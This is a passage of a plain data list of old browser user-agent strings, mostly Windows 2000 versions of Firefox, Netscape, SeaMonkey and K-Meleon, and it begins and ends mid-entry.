Mnenhy/0.7.6.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.22) Gecko/20090605 SeaMonkey/1.1.17\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a4) Gecko/20040927\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.0.2) Gecko/20030208 Netscape/7.02\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.12) Gecko/20080203 K-Meleon/1.1.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.4) Gecko/20070511 K-Meleon/1.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.8.1.8) Gecko/20071013 K-Meleon/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.2pre) Gecko/20070111 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 Mnenhy/0.7.5.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.1.10) Gecko/20100504 SeaMonkey/2.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.1.14) Gecko/20101005 Thunderbird/3.0.9 ThunderBrowse/3.3.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.1.16) Gecko/20101125 Thunderbird/3.0.11 ThunderBrowse/3.3.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.1.8) Gecko/20100205 SeaMonkey/2.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10\nMozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10 ThunderBrowse/3.3.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; de_CH; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; el; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-EN; rv:1.8.1.8) Gecko/20071013 K-Meleon/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.9.1.16) Gecko/20101125 Thunderbird/3.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198 Safari/532.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011019 Netscape6/6.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4.1) Gecko/20020314 Netscape6/6.2.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.5) Gecko/20011011\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.7) Gecko/20011221\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020815\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape/7.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020823 Netscape6/6.2.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.2) Gecko/20021120 Netscape/7.01\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc1) Gecko/20020417\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc2) Gecko/20020510\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc2) Gecko/20020512 Netscape/7.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc3) Gecko/20020523\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1a) Gecko/20020611\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1b) Gecko/20020721\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2) Gecko/20021126\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2a) Gecko/20020910\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2b) Gecko/20021014 Phoenix/0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2b) Gecko/20021016\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2b) Gecko/20021016 K-Meleon 0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2b) Gecko/20021029 Phoenix/0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3) Gecko/20030312\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3.1) Gecko/20030425\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3a) Gecko/20021203 Phoenix/0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3a) Gecko/20021207 Phoenix/0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3a) Gecko/20021212\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3a) Gecko/20030105 Phoenix/0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3b) Gecko/20030204\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.3b) Gecko/20030210\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030529\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030612\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4.1) Gecko/20031008\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4a) Gecko/20030401\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4a) Gecko/20030403 Phoenix/0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030504 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030507\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030514 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4b) Gecko/20030516 Mozilla Firebird/0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20030916\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20031007\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5) Gecko/20031016 K-Meleon/0.8.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030718\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.5b) Gecko/20030827\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040206 Firefox/0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040616\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.1) Gecko/20040707\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 (No IDN) Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.11) Gecko/20050728\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050610 K-Meleon/0.9\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7 Mnenhy/0.7.2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.12) Gecko/20051002\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2) Gecko/20040803\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2) Gecko/20040804 Netscape/7.2 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2) Gecko/20050208  Netscape/7.20\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20041217\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20041220 K-Meleon/0.9\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20050519 Netscape/8.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20050603 Netscape/8.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20050729 Netscape/8.0.3.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20051012 Netscape/8.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20060127 Netscape/8.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20060912 Netscape/8.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) Gecko/20050414\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) NimbleCrawler 1.11 obeys UserAgent NimbleCrawler For problems contact: crawler_at_dataalchemy.com\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.8) Gecko/20050511\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 (ax)\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8) Gecko/20051107 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8) Gecko/20051111 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8) Gecko/20060112 Firefox/1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060228 Firefox/1.5.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.6) Gecko/20060729 SeaMonkey/1.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.7) Gecko/20060917 K-Meleon/1.02\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.8) Gecko/20061030 SeaMonkey/1.0.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.9)  Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.1) Gecko/20061204\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 FirePHP/0.0.5.22\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.1.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.14) Gecko/20080406 K-Meleon/1.5.0beta\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.17) Gecko/20080829 SeaMonkey/1.1.12\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.17) Gecko/20080919 K-Meleon/1.5.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.19) Gecko/20081217 KMLite/1.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2) Gecko/20070222 SeaMonkey/1.1.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.21) Gecko/20090303 SeaMonkey/1.1.15\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.21) Gecko/20090403 SeaMonkey/1.1.16\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.3pre) Gecko/20070301 BonEcho/2.0.0.3pre\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070509 Firefox/2.0.0\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.8) Gecko/20071030  Firefox/2.0.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.9) Gecko/20071030 SeaMonkey/1.1.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.9) Gecko/20071110 Sylera/3.0.20 SeaMonkey/1.1.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b2) Gecko/20050702\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b4) Gecko/20050910 SeaMonkey/1.0a\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.2) Gecko/2008092313 Firefox/3.1.6\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/2.0.0.4\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/5.0 (Windows; U; Windows NT 5.0; en-US; 